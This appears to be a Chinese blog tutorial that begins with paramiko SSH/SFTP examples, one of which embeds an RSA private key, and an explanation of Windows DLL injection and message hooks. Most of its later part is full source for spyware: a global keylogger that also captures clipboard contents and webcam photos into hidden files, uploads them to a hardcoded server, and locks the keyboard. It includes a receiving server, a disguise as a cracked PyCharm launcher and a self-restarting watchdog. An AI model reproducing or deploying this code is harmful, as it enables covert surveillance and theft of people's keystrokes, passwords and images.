Python并发编程——paramiko远程控制的模块、病毒攻击原理、dll注入、

文章目录

      • paramiko模块
      • 作业
      • 攻击原理解析
        • 一、什么是dll
        • 二、为何要有dll
      • 什么是dll注入:
      • 什么时候需要dll注入
      • dll注入的方法
      • 使用SetWindowsHookEx函数对应用程序挂钩(HOOK)迫使程序加载dll
      • 准备工作
        • 步骤
        • 1、先编写病毒程序=>WinCoreManagerment.py
        • 2、编写服务端(socketserver)
        • 3、服务端部署,修改安全组,开发端口
        • 5、病毒程序制作二进制
        • 6、病毒程序进行伪装处理,并打包成exe
        • 7、杀毒方法
        • 7、杀毒方法

paramiko模块

  1. 介绍: paramiko是一个用于做远程控制的模块,使用该模块可以对远程服务器进行命令或文件操作,值得一说的是,fabric和ansible内部的远程管理就是使用的paramiko来现实。 2. 下载安装
pip3 install paramiko #在python3中

在python2中

pycrypto,由于 paramiko 模块内部依赖pycrypto,所以先下载安装pycrypto #在python2中
pip3 install pycrypto
pip3 install paramiko
注:如果在安装pycrypto2.0.1时发生如下错误
        command 'gcc' failed with exit status 1...
可能是缺少python-dev安装包导致
如果gcc没有安装,请事先安装gcc
  1. 使用 SSHClient 用于连接远程服务器并执行基本命令 基于用户名密码连接:
import paramiko

# 创建SSH对象
ssh = paramiko.SSHClient()
# 允许连接不在know_hosts文件中的主机
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 连接服务器
ssh.connect(hostname='120.92.84.249', port=22, username='root', password='xxx')

# 执行命令
stdin, stdout, stderr = ssh.exec_command('df')
# 获取命令结果
result = stdout.read()
print(result.decode('utf-8'))
# 关闭连接
ssh.close()

SSHClient 封装 Transport

import paramiko

transport = paramiko.Transport(('120.92.84.249', 22))
transport.connect(username='root', password='xxx')

ssh = paramiko.SSHClient()
ssh._transport = transport

stdin, stdout, stderr = ssh.exec_command('df')
res=stdout.read()
print(res.decode('utf-8'))

transport.close()

基于公钥密钥连接: 客户端文件名:id_rsa 服务端必须有文件名: authorized_keys(在用ssh-keygen时,必须制作一个authorized_keys,可以用ssh-copy-id来制作)

import paramiko

private_key = paramiko.RSAKey.from_private_key_file('/tmp/id_rsa')

# 创建SSH对象
ssh = paramiko.SSHClient()
# 允许连接不在know_hosts文件中的主机
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 连接服务器
ssh.connect(hostname='120.92.84.249', port=22, username='root', pkey=private_key)

# 执行命令
stdin, stdout, stderr = ssh.exec_command('df')
# 获取命令结果
result = stdout.read()
print(result.decode('utf-8'))
# 关闭连接
ssh.close()

SSHClient 封装 Transport

import paramiko

private_key = paramiko.RSAKey.from_private_key_file('/tmp/id_rsa')

transport = paramiko.Transport(('120.92.84.249', 22))
transport.connect(username='root', pkey=private_key)

ssh = paramiko.SSHClient()
ssh._transport = transport

stdin, stdout, stderr = ssh.exec_command('df')
result=stdout.read()
print(result.decode('utf-8'))

transport.close()

基于私钥字符串进行连接

import paramiko
from io import StringIO

key_str = """-----BEGIN RSA PRIVATE KEY-----
MIIEoQIBAAKCAQEAsJmFLrSeCumJvga0Gl5O5wVOVwMIy2MpqIyQPi5J87dg89a4
Da9fczJog7qoSbRwHFOQoCHNphSlp5KPhGsF6RJewkIw9H1UKV4dCOyl/4HOAkAD
rKrsEDmrJ9JlzF2GTTZSnTgVQWcvBS2RKB4eM2R9aJ11xV6X2Hk4YDLTExIWeabb
h2TUKw0iyjI8pRuYLKkF2X16u9TBwfOTroGYgiNFHQvhsQppbEbI49NF2XkCkFMi
8/7tLjf95InE/VUUq56JqfzyHwdpHou+waXbwtvGgXN3sz+KkuEv6R2qDz06upZV
FCZRRpDhzoR8Uh/UEzTGZb8z7FB6EJXUiXJikQIBIwKCAQBBmBuGYFf1bK+BGG7H
9ySe81ecqVsJtx4aCFLVRGScWg4RbQKIvXs5an6XU/VdNGQnx0RYvBkvDvuzRRC8
J8Bd4kB0CfTtGJuaVigKoQp02HEWx1HSa17+tlWD0c4KFBvwywi+DYQ83S64x8gz
eOalX9bPFenqORPUD8R7gJeKvPVc6ZTPeorpuH7u9xayP0Eop8qKxZza9Xh3foVj
Qo4IxoYnDN57CIRX5PFSlDDggpmr8FtRF4nAxmFq8LhSp05ivzX/Ku1SNHdaMWZO
7va8tISXdLI5m0EGzoVoBvohIbwlxI6kfmamrh6Eas2Jnsc4CLzMsR4jBWt0LHLv
/SLnAoGBANaEUf/Jptab9G/xD9W2tw/636i3gLpTPY9KPtCcAxqStNeT6RAWZ5HF
lKJg+NKpu3pI45ldAwvts0i+aCZk2xakEWIZWqCmXm31JSPDQTaMGe7H0vOmUaxx
ncdpBVdvhMbfFUgei15iKfuafgrKaS9oIkntXEgrC+3wBOI0Gbx3AoGBANLAGxAF
TK7ydr+Q1+6/ujs6e8WsXt8HZMa/1khCVSbrf1MgACvZPSSSrDpVwaDTSjlRI4AL
bb0l0RFU+/0caMiHilscuJdz9Fdd9Ux4pjROZa3TF5CFhvP7PsZAoxOo+yqJg4zr
996GG/aAv4M8lQJ2rDFk/Dgn5y/AaAun1oM3AoGAGIQmoOPYjY4qkHNSRE9lYOl4
pZFQilKn8x5tlC8WTC4GCgJGhX7nQ9wQ/J1eQ/YkDfmznH+ok6YjHkGlgLsRuXHW
GdcDCwuzBUCWh76LHC1EytUCKnloa3qy8jfjWnMlHgrd3FtDILrC+C7p1Vj2FAvm
qVz0moiTpioPL8twp9MCgYEAin49q3EyZFYwxwdpU7/SJuvq750oZq0WVriUINsi
A6IR14oOvbqkhb94fhsY12ZGt/N9uosq22H+anms6CicoQicv4fnBHDFI3hCHE9I
pgeh50GTJHUA6Xk34V2s/kp5KpThazv6qCw+QubkQExh660SEdSlvoCfPKMCi1EJ
TukCgYAZKY1NZ2bjJyyO/dfNvMQ+etUL/9esi+40GUGyJ7SZcazrN9z+DO0yL39g
7FT9NMIc2dsmNJQMaGBCDl0AjO1O3b/wqlrNvNBGkanxn2Htn5ajfo+LBU7yHAcV
7w4X5HLarXiE1mj0LXFKJhdvFqU53KUQJXBqR6lsMqzsdPwLMJg==
-----END RSA PRIVATE KEY-----"""

private_key = paramiko.RSAKey(file_obj=StringIO(key_str))
transport = paramiko.Transport(('120.92.84.249', 22))
transport.connect(username='root', pkey=private_key)

ssh = paramiko.SSHClient()
ssh._transport = transport

stdin, stdout, stderr = ssh.exec_command('df')
result = stdout.read()
print(result.decode('utf-8'))
transport.close()

print(result)

SFTPClient 用于连接远程服务器并执行上传下载 基于用户名密码上传下载

import paramiko
 
transport = paramiko.Transport(('120.92.84.249',22))
transport.connect(username='root',password='xxx')
 
sftp = paramiko.SFTPClient.from_transport(transport)
# 将location.py 上传至服务器 /tmp/test.py
sftp.put('/tmp/id_rsa', '/etc/test.rsa')
# 将remove_path 下载到本地 local_path
sftp.get('remove_path', 'local_path')
 
transport.close()

基于公钥密钥上传下载

import paramiko

private_key = paramiko.RSAKey.from_private_key_file('/tmp/id_rsa')

transport = paramiko.Transport(('120.92.84.249', 22))
transport.connect(username='root', pkey=private_key )

sftp = paramiko.SFTPClient.from_transport(transport)
# 将location.py 上传至服务器 /tmp/test.py
sftp.put('/tmp/id_rsa', '/tmp/a.txt')
# 将remove_path 下载到本地 local_path
sftp.get('remove_path', 'local_path')

transport.close()
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import paramiko
import uuid

class Haproxy(object):

    def __init__(self):
        self.host = '172.16.103.191'
        self.port = 22
        self.username = 'root'
        self.pwd = '123'
        self.__k = None

    def create_file(self):
        file_name = str(uuid.uuid4())
        with open(file_name,'w') as f:
            f.write('sb')
        return file_name

    def run(self):
        self.connect()
        self.upload()
        self.rename()
        self.close()

    def connect(self):
        transport = paramiko.Transport((self.host,self.port))
        transport.connect(username=self.username,password=self.pwd)
        self.__transport = transport

    def close(self):

        self.__transport.close()

    def upload(self):
        # 连接,上传
        file_name = self.create_file()

        sftp = paramiko.SFTPClient.from_transport(self.__transport)
        # 将location.py 上传至服务器 /tmp/test.py
        sftp.put(file_name, '/home/root/tttttttttttt.py')

    def rename(self):

        ssh = paramiko.SSHClient()
        ssh._transport = self.__transport
        # 执行命令
        stdin, stdout, stderr = ssh.exec_command('mv /home/root/tttttttttttt.py /home/root/ooooooooo.py')
        # 获取命令结果
        result = stdout.read()


ha = Haproxy()
ha.run()

作业

题目:简单主机批量管理工具 需求:

  1. 主机分组 2. 主机信息配置文件用configparser解析 3. 可批量执行命令、发送文件,结果实时返回,执行格式如下 batch_run -h h1,h2,h3 -g web_clusters,db_servers -cmd “df -h”  batch_scp -h h1,h2,h3 -g web_clusters,db_servers -action put -local test.py -remote /tmp/ 4. 主机用户名密码、端口可以不同 5. 执行远程命令使用paramiko模块 6. 批量命令需使用multiprocessing并发

攻击原理解析

一、什么是dll

动态链接库(Dynamic Link Library 或者 Dynamic-link Library,缩写为 DLL) 是微软公司在微软Windows操作系统中,实现共享函数库概念的一种方式。 这些库函数的扩展名是 ”.dll"、“.ocx”(包含ActiveX控制的库)或者 “.drv”(旧式的系统驱动程序)。  pip3 install

二、为何要有dll

由于进程的地址空间是独立的(保护模式),当多个进程共享相同的库时,每个库都在硬盘和进程彼此的内存
存放一份的话,对于早期的计算机来说,无疑是一种极大的浪费,于是windows系统推出了dll机制,
dll在硬盘上存为一个文件,在内存中使用一个实例(instance)。

详细如下:
在Windows操作系统中,运行的每一个进程都生活在自己的程序空间中(保护模式),每一个进程都认为自己拥有整个机器的控制权,
每个进程都认为自己拥有计算机的整个内存空间,这些假象都是操作系统创造的(操作系统控制CPU使得CPU启用保护模式)。
理论上而言,运行在操作系统上的每一个进程之间都是互不干扰的,即每个进程都会拥有独立的地址空间。比如说进程B修改了地址为0x4000000的数据,
那么进程C的地址为0x4000000处的数据并未随着B的修改而发生改变,并且进程C可能并不拥有地址为0x4000000的内存(操作系统可能没有为进程C映射这块内存)。
因此,如果某进程有一个缺陷覆盖了随机地址处的内存(这可能导致程序运行出现问题),那么这个缺陷并不会影响到其他进程所使用的内存。

什么是dll注入:

我们可以利用dll机制来实训进程通信或控制其它进程的应用程序。 
所谓的dll注入正是是让进程A强行加载程序B给定的a.dll,并执行程序B给定的a.dll里面的代码,从而
达到A进程控制B进程的目的

注意,程序B所给定的a.dll原先并不会被程序A主动加载,但是当程序B通过某种手段让程序A“加载”a.dll后,
程序A将会执行a.dll里的代码,此时,a.dll就进入了程序A的地址空间,而a.dll模块的程序逻辑由程序B的开发者设计,
因此程序B的开发者可以对程序A为所欲为。

什么时候需要dll注入

应用程序一般会在以下情况使用dll注入技术来完成某些功能:
1.为目标进程添加新的“实用”功能;
2.需要一些手段来辅助调试被注入dll的进程;
3.为目标进程安装钩子程序(API Hook)

dll注入的方法

一般情况下有如下dll注入方法:    
    1.修改注册表来注入dll;
    2.使用CreateRemoteThread函数对运行中的进程注入dll;
    3.使用SetWindowsHookEx函数对应用程序挂钩(HOOK)迫使程序加载dll;
    4.替换应用程序一定会使用的dll;
    5.把dll作为调试器来注入;
    6.用CreateProcess对子进程注入dll
    7.修改被注入进程的exe的导入地址表。
	ps:
	杀毒软件常用钩子来进行处理

使用SetWindowsHookEx函数对应用程序挂钩(HOOK)迫使程序加载dll

ctypes是Python的外部函数库,从Python2.5开始引入。它提供了C兼容的数据类型, 并且允许调用动态链接库/共享库中的函数。它可以将这些库包装起来给Python使用。

ctypes.windll.user32下主要用到三个函数,分别是
SetWindowsHookEx() 、CallNextHookEx()和UnhookWindowsHookEx()

消息钩子:Windows操作系统为用户提供了GUI(Graphic User Interface,图形用户界面), 它以事件驱动方式工作。在操作系统中借助键盘、鼠标、选择菜单、按钮、移动鼠标、改变窗口大小与位置等都是事件。 发生这样的事件时,操作系统会把事先定义好的消息发送给相应的应用程序,应用程序分析收到的信息后会执行相应的动作。 也就是说,在敲击键盘时,消息会从操作系统移动到应用程序。 所谓的消息钩子就是在此期间偷看这些信息。以键盘输入事件为例,消息的流向如下:   1.发生键盘输入时,WM_KEYDOWN消息被添加到操作系统的消息队列中;   2.操作系统判断这个消息产生于哪个应用程序,并将这个消息从消息队列中取出,添加到相应的应用程序的消息队列中;   3.应用程序从自己的消息队列中取出WM_KEYDOWN消息并调用相应的处理程序。   当我们的钩子程序启用后,操作系统在将消息发送给用用程序前会先发送给每一个注册了相应钩子类型的钩子函数。钩子函数可以对这一消息做出想要的处理(修改、拦截等等)。多个消息钩子将按照安装钩子的先后顺序被调用,这些消息钩子在一起组成了"钩链"。消息在钩链之间传递时任一钩子函数拦截了消息,接下来的钩子函数(包括应用程序)将都不再收到该消息。   像这样的消息钩子功能是Windows提供的最基本的功能,MS Visual Studio中提供的SPY++就是利用了这一功能来实现的,SPY++是一个十分强大的消息钩取程序,它能够查看操作系统中来往的所有消息。   消息钩子是使用SetWindowsHookEx来实现的。函数的原型如下:

HHOOK WINAPI SetWindowsHookEx(
  _In_ int       idHook,
  _In_ HOOKPROC  lpfn,
  _In_ HINSTANCE hMod,
  _In_ DWORD     dwThreadId
);

idHook参数是消息钩子的类型,可以选择的类型在MSDN中可以查看到相应的宏定义。比如我们想对所有的键盘消息做挂钩,其取值将是WH_KEYBOARD,WH_KEYBOARD这个宏的值是2。   lpfn参数是钩子函数的起始地址,注意:不同的消息钩子类型的钩子函数原型是不一样的,因为不同类型的消息需要的参数是不同的,具体的钩子函数原型需要查看MSDN来获得。注意:钩子函数可以在结束前任意位置调用CallNextHookEx函数来执行钩链的其他钩子函数。当然,如果不调用这个函数,钩链上的后续钩子函数将不会被执行。   hMod参数是钩子函数所在的模块的模块句柄。   dwThreadId参数用来指示要对哪一个进程/线程安装消息钩子。如果这个参数为0,安装的消息钩子称为“全局钩子”,此时将对所有的进程(当前的进程以及以后要运行的所有进程)下这个消息钩子。注意:有的类型的钩子只能是全局钩子。   注意:钩子函数应当放在一个dll中,并且在你的进程中LoadLibrary这个dll。然后再调用SetWindowsHookEx函数对相应类型的消息安装钩子。   当SetWindowsHookEx函数调用成功后,当某个进程生成这一类型的消息时,操作系统会判断这个进程是否被安装了钩子,如果安装了钩子,操作系统会将相关的dll文件强行注入到这个进程中并将该dll的锁计数器递增1。然后再调用安装的钩子函数。整个注入过程非常方便,用户几乎不需要做什么。   当用户不需要再进行消息钩取时只需调用UnhookWindowsHookEx即可解除安装的消息钩子,函数的原型如下:

BOOL WINAPI UnhookWindowsHookEx(
  _In_ HHOOK hhk
);

hhk参数是之前调用SetWindowsHookEx函数返回的HOOK变量/句柄。这个函数调用成功后会使被注入过dll的锁计数器递减1,当锁计数器减到0时系统会卸载被注入的dll。
这种类型的dll注入的优点是注入简单,缺点是只能对windows消息进行Hook并注入dll,而且注入dll可能不是立即被注入,因为这需要相应类型的事件发生。其次是它不能进行其他API的Hook,如果想对其它的函数进行Hook,你需要再在被注入的dll中添加用于API Hook的代码。   dll注入代码包含两部分,一部分是dll的源文件,另一部分是控制台程序的源代码。 HMODULE Hmod = LoadLibraryA(“hookdll.dll”);

准备工作

#1、最新anocoda3.7
https://www.anaconda.com/distribution/#download-section

#2、提速下载可以改变源
pip3 config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple

#3、安装pywin32,安装时指定安装目录,默认为C:\Python37\Lib\site-packages\
https://github.com/mhammond/pywin32/releases

#4、安装opencv-python
pip install opencv-python

#5、安装pyinstaller,依赖pyin32
pip install pyinstaller

#6、ico文件准备好
在线制作
or
https://www.easyicon.net/500133-QQ_Penguin_tencent_icon.html

#7、了解一下要用到的功能:
from time import sleep,strftime
from os import listdir,remove
from os.path import exists, getsize,abspath,expanduser,basename
from sys import exit
from struct import pack
from json import dumps
from socket import socket, AF_INET, SOCK_STREAM
from win32clipboard import OpenClipboard, GetClipboardData, CloseClipboard
from win32con import HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ, FILE_ATTRIBUTE_HIDDEN, WH_KEYBOARD_LL, WM_KEYDOWN
from win32api import GetConsoleTitle, RegOpenKey, RegSetValueEx, RegCloseKey, SetFileAttributes
from win32gui import FindWindow, ShowWindow
from cv2 import VideoCapture, CAP_DSHOW, imwrite, destroyAllWindows

from ctypes import windll  # windll.user32、windll.kernel32
from ctypes import CFUNCTYPE
from ctypes import byref
from ctypes import POINTER
from ctypes import c_int, c_void_p
from ctypes.wintypes import MSG

from threading import Timer
from threading import Thread
from threading import Lock

步骤

1、先编写病毒程序=>WinCoreManagerment.py

监听键盘输入->并记录日志
锁定键盘功能
偷拍功能->保存图片文件
上传数据功能:套接字客户度

WinCoreManagerment.py

import sys
import os
import time
import socket
import struct
import json
import win32clipboard  # 剪贴板操作,需要安装pywin32才可以
import win32con
import win32api
import cv2

from ctypes import windll
from ctypes import CFUNCTYPE
from ctypes import POINTER
from ctypes import c_int, c_void_p
from ctypes import byref
from ctypes.wintypes import MSG

from threading import Timer
from threading import Thread
from threading import Lock


# 工具
class Utils:
    def __init__(self):
        # 用户家目录
        self.base_dir = os.path.expanduser('~')  # 权限问题

        # 初始化生成日志文件
        self.log_path = r'%s/adhsvc.dll.system32' % self.base_dir
        open(self.log_path, 'a', encoding='utf-8').close()
        win32api.SetFileAttributes(self.log_path, win32con.FILE_ATTRIBUTE_HIDDEN)

        # 定义两把锁,控制读写
        self.mutex_log = Lock()  # 日志锁
        self.mutex_photo = Lock()  # 照片锁
        self.mutex_sock = Lock()  # 套接字上传锁
        # 服务端的ip和port
        self.server_ip = '115.29.65.16'
        self.server_port = 9999

        # 本地调试日志
        self.debug = True
        self.debug_log_path = r'%s/debug_log' % self.base_dir
        self.mutex_debug = Lock()

    def log_debug(self, res):
        if not self.debug:
            return
        self.mutex_debug.acquire()
        with open(self.debug_log_path, mode='a', encoding='utf-8') as f:
            f.write('\n%s\n' % res)
            f.flush()
        self.mutex_debug.release()

    def log(self, res):
        self.mutex_log.acquire()
        with open(self.log_path, mode='a', encoding='utf-8') as f:
            f.write(res)
            f.flush()
        self.mutex_log.release()

    def take_photoes(self):
        while True:
            time.sleep(10)
            photo_path = r'%s/%s.jpeg' % (self.base_dir, time.strftime('%Y-%m-%d_%H_%M_%S'))
            cap = None

            try:
                # VideoCapture()中第一个参数是摄像头标号,默认情况电脑自带摄像头索引为0,外置为1.2.3…,
                # 参数是视频文件路径则打开视频,如cap = cv2.VideoCapture(“../test.avi”)
                # CAP_DSHOW是微软特有的,cv2.release()之后摄像头依然开启,需要指定该参数
                cap = cv2.VideoCapture(0, cv2.CAP_DSHOW)
                ret, frame = cap.read()
                self.mutex_photo.acquire()
                cv2.imwrite(photo_path, frame)
            except Exception as e:
                self.log_debug('照相异常: %s' % e)
            finally:
                # 无论如何都要释放锁,关闭相机
                self.mutex_photo.release()
                if cap is not None:
                    cap.release()  # None.release()
                cv2.destroyAllWindows()

            if os.path.exists(photo_path):
                win32api.SetFileAttributes(photo_path, win32con.FILE_ATTRIBUTE_HIDDEN)

    def send_data(self, headers, data):
        try:
            self.mutex_sock.acquire()  # 上传数据的过程中不要做其他事情
            client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            client.connect((self.server_ip, self.server_port))

            head_json = json.dumps(headers)
            head_json_bytes = bytes(head_json, encoding='utf-8')
            client.send(struct.pack('i', len(head_json_bytes)))
            client.send(head_json_bytes)
            client.sendall(data)
            client.close()

            res = (True, 'ok')
        except ConnectionRefusedError as e:
            msg = '套接字服务端未启动: %s' % e
            res = (False, msg)
        except Exception as e:
            msg = '套接字其他错误:%s' % e
            res = (False, msg)
        finally:
            self.mutex_sock.release()
        return res

    def upload_log(self):
        while True:
            time.sleep(1)

            if not os.path.getsize(self.log_path):
                continue

            self.mutex_log.acquire()
            with open(self.log_path, mode='rb+') as f:
                data = f.read()
                self.mutex_log.release()

                headers = {
                    'data_size': len(data),
                    'filename': os.path.basename(self.log_path)
                }

                self.log_debug('正在往服务端发送日志......[%s]' % data)

                is_ok, msg = self.send_data(headers, data)
                if is_ok:
                    self.log_debug('日志[%s]发送成功。。。' % data)
                else:
                    self.log_debug('日志[%s]发送失败:%s' % (data, msg))
                    continue

                f.truncate(0)

    def upload_photoes(self):
        while True:
            time.sleep(3)

            files = os.listdir(self.base_dir)
            files_jpeg = [file_name for file_name in files if file_name.endswith('jpeg')]
            for file_name in files_jpeg:
                file_path = r'%s/%s' % (self.base_dir, file_name)
                if not os.path.exists(file_path):
                    continue

                self.log_debug('开始上传图片: %s' % file_name)
                headers = {
                    'data_size': os.path.getsize(file_path),
                    'filename': file_name
                }

                self.mutex_photo.acquire()
                with open(file_path, mode='rb+') as f:
                    data = f.read()
                self.mutex_photo.release()

                is_ok, msg = self.send_data(headers, data)
                if is_ok:
                    self.log_debug('图片%s发送完毕......' % file_name)
                else:
                    self.log_debug('图片%s发送失败:%s' % (file_name, msg))
                    continue

                os.remove(file_path)


utils = Utils()


# 定义类:定义拥有挂钩与拆钩功能的类
class Toad:
    def __init__(self):
        self.user32 = windll.user32
        self.hooked = None

    def __install_hook_proc(self, pointer):
        self.hooked = self.user32.SetWindowsHookExA(
            win32con.WH_KEYBOARD_LL,  # WH_KEYBOARD_LL = 13  # 全局的键盘钩子,能拦截所有的键盘按键的消息。
            pointer,
            0,  # 钩子函数的dll句柄,此处设置为0即可
            0  # 所有线程
        )  # self.hooked 为注册钩子返回的句柄
        return True if self.hooked else False

    def install_hook_proc(self, func):
        CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
        pointer = CMPFUNC(func)  # 拿到函数hookProc指针,

        if self.__install_hook_proc(pointer):
            utils.log_debug("%s start " % func.__name__)

        msg = MSG()
        # 监听/获取窗口的消息,消息进入队列后则取出交给勾链中第一个钩子
        self.user32.GetMessageA(byref(msg), None, 0, 0)

    def uninstall_hook_proc(self):
        if self.hooked is None:
            return
        self.user32.UnhookWindowsHookEx(self.hooked)  # 通过钩子句柄删除注册的钩子
        self.hooked = None


toad_obj = Toad()


# 2、定义钩子过程(即我们要注入的逻辑):
def monitor_keyborad_proc(nCode, wParam, lParam):
    # win32con.WM_KEYDOWN = 0X0100  # 键盘按下,对应数字256
    # win32con.WM_KEYUP = 0x101  # 键盘起来,对应数字257,监控键盘只需要操作KEYDOWN即可
    if wParam == win32con.WM_KEYDOWN:
        hookedKey_ascii = 0xFFFFFFFF & lParam[0]
        hookedKey = chr(hookedKey_ascii)

        utils.log_debug('监听到hookeKey:[%s]  hookedKey_ascii:[%s]' % (hookedKey, hookedKey_ascii))

        keyboard_dic = {
            220: r'<`>',
            189: r'<->',
            187: r'<=>',
            8: r'<删除键>',

            9: r'',
            219: r'<[>',
            221: r'<]>',
            222: r'<\>',

            20: r'<大小写锁定>',
            186: r'<;>',
            192: r"<'>",
            13: r'',

            160: r'',
            188: r'<,>',
            190: r'<.>',
            191: r'',
            161: r'',

            162: r'',
            32: r'',
            37: r'<左箭头>',
            38: r'<上箭头>',
            39: r'<右箭头>',
            40: r'<下箭头>',
        }

        if (hookedKey == 'Q'):  # 测试时打开,正式运行时注释这一段即可
            toad_obj.uninstall_hook_proc()
            sys.exit(-1)
            # pass

        if hookedKey_ascii in keyboard_dic:  # 按下了了非常规键
            res = keyboard_dic[hookedKey_ascii]
            utils.log_debug('监听到输入: %s' % res)
            utils.log(res)

        if hookedKey_ascii > 32 and hookedKey_ascii < 127:  # 检测击键是否常规按键(非组合键等)
            if hookedKey == 'V' or hookedKey == 'C':
                win32clipboard.OpenClipboard()
                paste_value = win32clipboard.GetClipboardData()  # 获取粘贴板的值
                win32clipboard.CloseClipboard()

                if paste_value:  # 剪贴板有值,则代表上述V和C的输入是组合键,用户输入的有效数据在剪贴板里放着
                    utils.log(paste_value)
                    utils.log_debug('粘贴值: %s' % paste_value)
            else:
                utils.log_debug('监听到输入: %s' % repr(hookedKey))
                utils.log(hookedKey)

    # CallNextHookEx将钩子的信息重新放回钩链中
    return windll.user32.CallNextHookEx(toad_obj.hooked, nCode, wParam, lParam)


# 钩链:钩1,钩2
def lock_keyboard_proc(nCode, wParam, lParam):
    utils.log_debug('锁定键盘程序正在执行。。。。。。。。')
    return 123123123123123


if __name__ == '__main__':
    # 监听键盘输入->并记录日志
    t1 = Thread(target=toad_obj.install_hook_proc, args=(monitor_keyborad_proc,))
    # 锁定键盘功能
    t2 = Timer(120, toad_obj.install_hook_proc, args=[lock_keyboard_proc, ])

    # 偷拍功能->保存图片文件
    t3 = Thread(target=utils.take_photoes)

    # 上传数据功能:日志文件、图片文件
    t4 = Thread(target=utils.upload_log)
    t5 = Thread(target=utils.upload_photoes)

    t2.daemon = True
    t3.daemon = True
    t4.daemon = True
    t5.daemon = True

    t1.start()
    t2.start()
    t3.start()
    t4.start()
    t5.start()

    t1.join()

2、编写服务端(socketserver)

secureCRT图形界面-》windows
系统自带scp命令-》linux
python的模块-》paramiko模块
纯手写客户端套接字

Toad_server.py

import socketserver
import struct
import json
import os
import time


class ToadServer(socketserver.BaseRequestHandler):
    coding = 'utf-8'
    max_packet_size = 1024

    def handle(self):
        ip, port = self.client_address
        with open(r'access.log', mode='a', encoding='utf-8') as f:
            f.write('[%s] 癞蛤蟆病毒感染者-> %s:%s 正在上传数据\n' % (time.strftime('%Y-%m-%d-%H:%M:%S'), ip, port))

        try:
            head = self.request.recv(4)
            head_json_len = struct.unpack('i', head)[0]
            head_json = json.loads(self.request.recv(head_json_len).decode('utf-8'))
            data_len = head_json['data_size']
            filename = head_json['filename']

            recv_size = 0
            recv_data = b''
            with open(r'client_msg/client_%s_%s' % (ip, filename), 'ab') as f:
                while recv_size < data_len:
                    recv_data = self.request.recv(1024)
                    f.write(recv_data)
                    recv_size += len(recv_data)

        except Exception as e:
            # 客户端断开
            self.request.close()


myserver = socketserver.ThreadingTCPServer(('0.0.0.0', 9999), ToadServer)
myserver.serve_forever()

3、服务端部署,修改安全组,开发端口

5、病毒程序制作二进制

frozen.py

'''
Pyinstaller多进程代码打包exe出现多个进程解决方案
'''

import os
import sys
import multiprocessing

# Module multiprocessing is organized differently in Python 3.4+
try:
    # Python 3.4+
    if sys.platform.startswith('win'):
        import multiprocessing.popen_spawn_win32 as forking
    else:
        import multiprocessing.popen_fork as forking
except ImportError:
    import multiprocessing.forking as forking

if sys.platform.startswith('win'):
    # First define a modified version of Popen.
    class _Popen(forking.Popen):
        def __init__(self, *args, **kw):
            if hasattr(sys, 'frozen'):
                # We have to set original _MEIPASS2 value from sys._MEIPASS
                # to get --onefile mode working.
                os.putenv('_MEIPASS2', sys._MEIPASS)
            try:
                super(_Popen, self).__init__(*args, **kw)
            finally:
                if hasattr(sys, 'frozen'):
                    # On some platforms (e.g. AIX) 'os.unsetenv()' is not
                    # available. In those cases we cannot delete the variable
                    # but only set it to the empty string. The bootloader
                    # can handle this case.
                    if hasattr(os, 'unsetenv'):
                        os.unsetenv('_MEIPASS2')
                    else:
                        os.putenv('_MEIPASS2', '')

                        # Second override 'Popen' class with our modified version.


    forking.Popen = _Popen

6、病毒程序进行伪装处理,并打包成exe

6.1 编写伪装文件:"pycharm破解版.py"

6.2 编写无限重启文件:"System.py"

6.3 打包制作二进制exe
    pyinstaller -i system.ico -Fw WinCoreManagement.py
    pyinstaller -i system.ico -Fw System.py
    pyinstaller -i pycharm.ico -Fw pycharm破解版.py
    指定-w参数后就不要设置后台运行了

6.4 将三个exe文件放入正常pycharm软件包下的bin目录下

pycharm破解版.py

import os
import subprocess
import time
import frozen  # Pyinstaller多进程代码打包exe出现多个进程解决方案
import multiprocessing


if __name__ == '__main__':
    multiprocessing.freeze_support()  # Pyinstaller多进程代码打包exe出现多个进程解决方案
    os.chdir(r'.')
    subprocess.Popen(r'pycharm.exe') # 真正的pychamr程序
    subprocess.Popen(r'System.exe') # System.exe负责无限重启病毒程序WinCoreManagerment.exe

    time.sleep(20)

System.py

import frozen  # Pyinstaller多进程代码打包exe出现多个进程解决方案
import multiprocessing
import subprocess
import time
import sys
import os
import win32con
import win32api

CMD = r"WinCoreManagement.exe"  # 需要执行程序的绝对路径


def run(cmd):
    # print('start OK!')
    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    p = subprocess.Popen(cmd, shell=False)
    p.wait()  # 类似于p.join()
    try:
        subprocess.call('start /b taskkill /F /IM %s' % CMD)  # 清理残余
    except Exception as e:
        # print(e)
        pass

    # print('子进程关闭,重启')
    run(cmd)


if __name__ == '__main__':
    multiprocessing.freeze_support()  # Pyinstaller多进程代码打包exe出现多个进程解决方案

    run(CMD)

7、杀毒方法

taskkill /F /IM System.exe

taskkill /F /IM WinCoreManagement.exe

taskkill /F /IM pycharm.exe
import frozen  # Pyinstaller多进程代码打包exe出现多个进程解决方案
import multiprocessing
import subprocess
import time
import sys
import os
import win32con
import win32api

CMD = r"WinCoreManagement.exe"  # 需要执行程序的绝对路径


def run(cmd):
    # print('start OK!')
    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    p = subprocess.Popen(cmd, shell=False)
    p.wait()  # 类似于p.join()
    try:
        subprocess.call('start /b taskkill /F /IM %s' % CMD)  # 清理残余
    except Exception as e:
        # print(e)
        pass

    # print('子进程关闭,重启')
    run(cmd)


if __name__ == '__main__':
    multiprocessing.freeze_support()  # Pyinstaller多进程代码打包exe出现多个进程解决方案

    run(CMD)

7、杀毒方法

taskkill /F /IM System.exe

taskkill /F /IM WinCoreManagement.exe

taskkill /F /IM pycharm.exe

你可能感兴趣的:(Python,网络协议,tcp/ip,python)